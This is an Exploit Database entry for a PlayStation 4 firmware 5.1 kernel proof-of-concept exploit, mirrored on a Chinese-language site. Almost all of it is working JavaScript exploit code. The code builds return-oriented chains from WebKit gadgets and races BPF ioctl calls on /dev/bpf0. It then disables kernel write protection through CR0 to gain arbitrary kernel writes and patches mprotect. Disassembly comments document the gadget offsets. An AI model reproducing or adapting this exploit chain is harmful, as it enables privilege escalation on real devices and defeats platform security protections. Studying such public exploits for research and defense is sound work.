Sony Playstation 4 (PS4) 5.1 – Kernel (PoC)

• Exploit Database
• 128 阅读

• 作者： qwertyoruiop
  日期： 2018-05-28
• 类别：

  • local
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/44819/
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  log("--- trying kernel exploit --"); function malloc(sz) { var backing = new Uint8Array(0x10000+sz); window.nogc.push(backing); var ptr = p.read8(p.leakval(backing).add32(0x10)); ptr.backing = backing; return ptr; } function malloc32(sz) { var backing = new Uint8Array(0x10000+sz*4); window.nogc.push(backing); var ptr = p.read8(p.leakval(backing).add32(0x10)); ptr.backing = new Uint32Array(backing.buffer); return ptr; } var strcpy_helper = new Uint8Array(0x1000); var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10); function strcpy(ptr, str) { p.write8(where_writeptr_strcpy, ptr); for (var i = 0; i < str.length; i++) strcpy_helper[i] = str.charCodeAt(i) & 0xFF; strcpy_helper[str.length] = 0; }   var spawnthread = function(name, chain) {   /* seg000:00000000007FA7D0 sub_7FA7D0proc near ; DATA XREF: sub_7F8330+5Eo seg000:00000000007FA7D0 55pushrbp seg000:00000000007FA7D1 48 89 E5mov rbp, rsp seg000:00000000007FA7D4 41 56 pushr14 seg000:00000000007FA7D6 53pushrbx seg000:00000000007FA7D7 48 89 F3mov rbx, rsi seg000:00000000007FA7DA 49 89 FEmov r14, rdi seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" -> xref: seg000:00000000007F8380 48 8D 3D 28 D8 EC 00lea rdi, a1_5_18_0; "1.5.18" seg000:00000000007F8387 48 8D 15 82 23 00 00lea rdx, sub_7FA710 seg000:00000000007F838E 48 8D 0D 3B 24 00 00lea rcx, sub_7FA7D0 seg000:00000000007F8395 31 F6 xor esi, esi seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0 seg000:00000000007F839F 66 41 C7 47 18 00 00mov word ptr [r15+18h], 0 seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0 seg000:00000000007F83AE E8 8D 3C D3 00callsub_152C040 -> code: m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning); decodingWarning -> contains Missing PLTE before tRNS decodingFailed -> contains longjmp seg000:00000000007FA710 sub_7FA710proc near ; DATA XREF: sub_7F8330+57o seg000:00000000007FA710 ; sub_7F9DC0+2Eo seg000:00000000007FA710 55pushrbp seg000:00000000007FA711 48 89 E5mov rbp, rsp seg000:00000000007FA714 48 8B 35 5D B6 E5 02mov rsi, cs:qword_3655D78 seg000:00000000007FA71B BA 60 00 00 00mov edx, 60h ; &apos;`&apos; seg000:00000000007FA720 E8 AB E6 D2 00callsub_1528DD0 seg000:00000000007FA725 BE 01 00 00 00mov esi, 1 seg000:00000000007FA72A 48 89 C7mov rdi, rax seg000:00000000007FA72D E8 26 6D 80 FFcallsub_1458 < longjmp seg000:00000000007FA732 0F 0B ud2 seg000:00000000007FA732 sub_7FA710endp */ var longjmp = window.webKitBase.add32(0x14e8);   // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name) /* seg000:00000000001DD17F 48 8D 15 C9 38 4C 01lea rdx, aWebcoreGccontr ; "WebCore: GCController" seg000:00000000001DD186 31 F6 xor esi, esi seg000:00000000001DD188 E8 B3 1B F9 00callsub_116ED40 */   var createThread = window.webKitBase.add32(0x779190);   var contextp = malloc32(0x2000); var contextz = contextp.backing; contextz[0] = 1337;   var thread2 = new RopChain(); thread2.push(window.gadgets["ret"]); // nop thread2.push(window.gadgets["ret"]); // nop thread2.push(window.gadgets["ret"]); // nop thread2.push(window.gadgets["ret"]); // nop chain(thread2);   p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp   var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}   window.nogc.push(contextp); window.nogc.push(thread2);   return retv; }   var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low; var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low; if (fd == (-1 >>> 0)) { print("kexp failed: no bpf0"); }   var assertcnt = 0; var assert = function(x) { assertcnt++; if (!x) throw "assertion " + assertcnt + " failed"; }   print("got it");   var bpf_valid = malloc32(0x4000); var bpf_spray = malloc32(0x4000); var bpf_valid_u32 = bpf_valid.backing; var bpf_valid_prog = malloc(0x40); p.write8(bpf_valid_prog, 0x800/8) p.write8(bpf_valid_prog.add32(8), bpf_valid) var bpf_spray_prog = malloc(0x40); p.write8(bpf_spray_prog, 0x800/8) p.write8(bpf_spray_prog.add32(8), bpf_spray)   for (var i = 0 ; i < 0x400; ) { bpf_valid_u32[i++] = 6; // BPF_RET bpf_valid_u32[i++] = 0; }   var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog); assert(rtv.low == 0);   print("okay")     var interrupt1, loop1; var interrupt2, loop2; var sock = p.syscall(97, 2, 2) var kscratch = malloc32(0x100);   var start1 = spawnthread("GottaGoFast", function(thread2){ interrupt1 = thread2.ropframeptr; thread2.push(window.gadgets["ret"]); // pop rdx thread2.push(window.gadgets["ret"]); // pop rdx thread2.push(window.gadgets["ret"]); // pop rdx   thread2.push(window.gadgets["pop rdi"]); // pop rdi thread2.push(fd); // what thread2.push(window.gadgets["pop rsi"]); // pop rsi thread2.push(0x8010427B); // what thread2.push(window.gadgets["pop rdx"]); // pop rdx thread2.push(bpf_valid_prog); // what thread2.push(window.gadgets["pop rsp"]); // pop rdx thread2.push(thread2.ropframeptr.add32(0x800)); // what thread2.count = 0x100; var cntr = thread2.count; thread2.push(window.syscalls[54]); // ioctl thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl   thread2.push(window.gadgets["pop rdi"]); // pop rdi var wherep = thread2.pushSymbolic(); // where thread2.push(window.gadgets["pop rsi"]); // pop rsi var whatp = thread2.pushSymbolic(); // where thread2.push(window.gadgets["mov [rdi], rsi"]); // perform write   thread2.push(window.gadgets["pop rsp"]); // pop rdx   loop1 = thread2.ropframeptr.add32(thread2.count*8); thread2.push(0x41414141); // what   thread2.finalizeSymbolic(wherep, loop1); thread2.finalizeSymbolic(whatp, loop1.sub32(8));   })   var krop = new RopChain(); var race = new RopChain(); var ctxp = malloc32(0x2000); var ctxp1 = malloc32(0x2000);   p.write8(bpf_spray.add32(16), ctxp);   var prefaultlist = []; function pfd(addr) { var page = addr.add32(0); page.low &= 0xffffc000; p.syscall("mlock", page, 0x8000); p.read4(addr); return addr; } function pf(addr){ var page = addr.add32(0); page.low &= 0xffffc000; p.syscall("mlock", page, 0x8000); var ret = addr.add32(0); while (1) { var opcode = (p.read4(ret) & 0xff); if (opcode == 0xc3) { prefaultlist.push(ret); break; } ret.add32inplace(1); } return addr; } for (var gadgetname in gadgets) { if (gadgets.hasOwnProperty(gadgetname)) { if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue; pf(gadgets[gadgetname]); } } /* 67d27:48 8b 07 mov(%rdi),%rax 67d2a:ff 50 58 callq*0x58(%rax)   12a184d:48 83 ec 58sub$0x58,%rsp 12a1851:89 55 d4 mov%edx,-0x2c(%rbp) 12a1854:49 89 fd mov%rdi,%r13 12a1857:49 89 f7 mov%rsi,%r15 12a185a:49 8b 45 00mov0x0(%r13),%rax 12a185e:ff 90 d0 07 00 00callq*0x7d0(%rax)   6ef2e5:48 8b 7f 10mov0x10(%rdi),%rdi 6ef2e9:ff 20jmpq *(%rax)   2728a1:48 8d 7d d8lea-0x28(%rbp),%rdi 2728a5:ff 50 40 callq*0x40(%rax) 12846b4:48 8b 77 08mov0x8(%rdi),%rsi 12846b8:48 8b 7f 18mov0x18(%rdi),%rdi 12846bc:48 8b 07 mov(%rdi),%rax 12846bf:ff 50 30 callq*0x30(%rax)   15ca29b:48 8b 97 b0 00 00 00 mov0xb0(%rdi),%rdx 15ca2a2:ff 57 70 callq*0x70(%rdi)   f094a:48 89 e5 mov%rsp,%rbp f094d:48 8b 07 mov(%rdi),%rax f0950:ff 90 20 04 00 00callq*0x420(%rax) */ var ctxp2 = malloc32(0x2000);   var wk2apf = function(off) { var addr = window.webKitBase.add32(off); pf(addr); return addr; }   p.write8(ctxp.add32(0x50), 0); p.write8(ctxp.add32(0x68), ctxp1); var stackshift_from_retaddr = 0; p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d)); stackshift_from_retaddr += 8 + 0x58; // call + sub p.write8(ctxp.add32(0), ctxp2); p.write8(ctxp.add32(0x10), ctxp2.add32(8));   p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5))   // rax = ctxp2, rdi = ctxp2 + 8 var iterbase = ctxp2;   for (var i=0; i<0xf; i++) { p.write8(iterbase, wk2apf(0x12a184d)) stackshift_from_retaddr += 8 + 0x58; // call + sub // rax = ctxp2+0x20 p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5)) p.write8(iterbase.add32(8), iterbase.add32(0x20)); p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8)) iterbase = iterbase.add32(0x20); }   var raxbase = iterbase; var rdibase = iterbase.add32(8); var memcpy = get_jmptgt(webKitBase.add32(0xf8)); memcpy = p.read8(memcpy); pf(memcpy);   p.write8(raxbase, wk2apf(0x15ca29b)) stackshift_from_retaddr += 8; // call + sub p.write8(rdibase.add32(0x70), wk2apf(0x12846b4)); // next gadget stackshift_from_retaddr += 8; // call + sub p.write8(rdibase.add32(0x18), rdibase); // rdi p.write8(rdibase.add32(8), krop.ropframeptr); // rax p.write8(raxbase.add32(0x30), wk2apf(0xf094a)); // next gadget p.write8(rdibase, raxbase); p.write8(raxbase.add32(0x420), wk2apf(0x2728a1)); // next gadget p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90)); // next gadget (memcpy skipping prolog) var topofchain = stackshift_from_retaddr + 0x28 ; p.write8(rdibase.add32(0xb0), topofchain); // rdx for (var i = 0; i < 0x1000/8; i++) { p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]); } krop.count = 0x10; /* f094a:48 89 e5 mov%rsp,%rbp f094d:48 8b 07 mov(%rdi),%rax f0950:ff 90 20 04 00 00callq*0x420(%rax) 2728a1:48 8d 7d d8lea-0x28(%rbp),%rdi 2728a5:ff 50 40 callq*0x40(%rax) 55566f:48 01 c7 add%rax,%rdi 555672:48 89 f8 mov%rdi,%rax 555675:c3 retq 46ef9:48 8b 07 mov(%rdi),%rax 46efc:c3 retq 1520c6:48 01 f0 add%rsi,%rax 1520c9:c3 retq 14536b:48 89 07 mov%rax,(%rdi) 14536e:c3 retq 1570a1f:48 21 f0 and%rsi,%rax 1570a22:c3 retq 353a71:48 89 c2 mov%rax,%rdx 353a74:c3 retq 1cee60:48 89 d0 mov%rdx,%rax 1cee63:c3 retq 15a3faf:48 89 c7 mov%rax,%rdi 15a3fb2:c3 retq 6c83a:48 8b 00 mov(%rax),%rax 6c83d:c3 retq 295dbe:ff e7jmpq *%rdi   */ p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]); p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]); p.write8(kscratch.add32(0x18), kscratch);   function set_rdi_rbpoff() { krop.push(window.gadgets["pop rdi"]); // pop rdi krop.push(kscratch.add32(0x18)); // what   krop.push(wk2apf(0xf094a)); // rbp = rsp var rbp_off = topofchain - krop.count*8 + 0x28; krop.push(wk2apf(0x2728a1)); // rbp = rsp   return rbp_off; }   function add_to_rdi(imm) { krop.push(window.gadgets["pop rax"]); // pop rdi krop.push(imm); // what krop.push(wk2apf(0x55566f)); // rbp = rsp   }   var rboff = set_rdi_rbpoff(); add_to_rdi(rboff);   var add_rax = function(imm) { krop.push(window.gadgets["pop rsi"]); // pop rsi krop.push(imm); // what krop.push(wk2apf(0x1520c6)); // add rsi to rax }     krop.push(wk2apf(0x46ef9)); // deref rdi in rax add_rax(0x2fa); // what krop.push(wk2apf(0x14536b)); // write rax to rdi   var shellbuf = malloc32(0x1000);     var write_rax = function(addr) { krop.push(window.gadgets["pop rdi"]); // pop rdi krop.push(addr); // what krop.push(wk2apf(0x14536b)); // write rax to rdi }   var load_rax = function(addr) { krop.push(window.gadgets["pop rax"]); // pop rax krop.push(addr); // what krop.push(wk2apf(0x6c83a)); // deref rax }   var and_rax = function(imm) { krop.push(window.gadgets["pop rsi"]); // pop rdi krop.push(imm); // what krop.push(wk2apf(0x1570a1f)); // and rax to rdi }   var rax_to_rdx = function() { krop.push(wk2apf(0x353a71)); // rax to rdx } var rdx_to_rax = function() { krop.push(wk2apf(0x1cee60)); // rdx to rax } var rax_to_rdi = function() { krop.push(wk2apf(0x15a3faf)); // rax to rdi } var write_to_rax64 = function(imm) { krop.push(window.gadgets["pop rsi"]); // pop rdi krop.push(imm); // what krop.push(window.gadgets["mov [rax], rsi"]); // pop rdi } write_rax(kscratch); // save address in usermode add_rax(0xc54b4) write_rax(kscratch.add32(8)); // save address krop.push(wk2apf(0x82)); // jmp rax write_rax(kscratch.add32(16)); // save cr0 and_rax(new int64(0xfffeffff,0xffffffff)); // unset bit rax_to_rdx(); load_rax(kscratch.add32(8)) add_rax(9) rax_to_rdi(); rdx_to_rax(); krop.push(wk2apf(0x295dbe)); // jmp rdi   /* Write Anywhere mode */   load_rax(kscratch); add_rax(0x3609a); krop.push(wk2apf(0x6c83a)); // deref rax write_rax(kscratch.add32(0x330)); // rando offset lol   // put patches here. example is mprotect patch   load_rax(kscratch); add_rax(0x3609a); write_to_rax64(new int64(0x9090FA38,0x90909090)); // patch mprotect     /* Disable Write Anywhere mode */   load_rax(kscratch.add32(8)) add_rax(9) rax_to_rdi(); load_rax(kscratch.add32(16)) krop.push(wk2apf(0x295dbe)); // jmp rdi   krop.push(wk2apf(0x5cdb9)); krop.push(kscratch.add32(0x1000));